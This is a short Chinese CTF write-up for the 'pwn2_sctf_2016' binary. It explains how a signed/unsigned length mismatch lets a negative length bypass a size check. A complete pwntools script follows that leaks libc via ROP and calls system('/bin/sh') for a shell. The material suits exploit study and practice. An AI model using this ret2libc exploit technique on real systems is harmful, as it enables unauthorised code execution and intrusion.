0x01 分析
0x02 運行
程序讀入一個長度,然後按照長度讀入後面輸入的data並回顯。
0x03 IDA
數據長度被限制爲32,無法溢出,接着查看get_n函數。
接受a2個長度的字符串並放到vuln函數的緩衝區內部,但是a2傳入的值類型是unsigned int,而前面判斷長度的類型是int,可以規避長度限制。
0x04 思路
輸入負數長度,繞過長度檢查,執行rop。
0x05 exp
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
p = process('./pwn2_sctf_2016')
#p = remote('node3.buuoj.cn', 26080)
elf = ELF('./pwn2_sctf_2016')
format_str = 0x080486F8
printf_plt = elf.plt['printf']
main_addr = elf.symbols['main']
printf_got = elf.got['printf']
p.recvuntil('read? ')
p.sendline('-1')
p.recvuntil('data!\n')
payload = 'a'*0x30 + p32(printf_plt)+p32(main_addr)+p32(format_str)+p32(printf_got)
p.sendline(payload)
#函數結束前的輸出字符串
p.recvuntil('said: ')
#rop執行後輸出的字符串,其中有函數地址
p.recvuntil('said: ')
printf_addr = u32(p.recv(4))
libc = LibcSearcher('printf', printf_addr)
libc_base = printf_addr - libc.dump('printf')
sys_addr = libc_base + libc.dump('system')
str_bin = libc_base + libc.dump('str_bin_sh')
p.recvuntil('read? ')
p.sendline('-1')
p.recvuntil('data!\n')
p.sendline('a'*0x30 + p32(sys_addr) + p32(main_addr) + p32(str_bin))
p.interactive()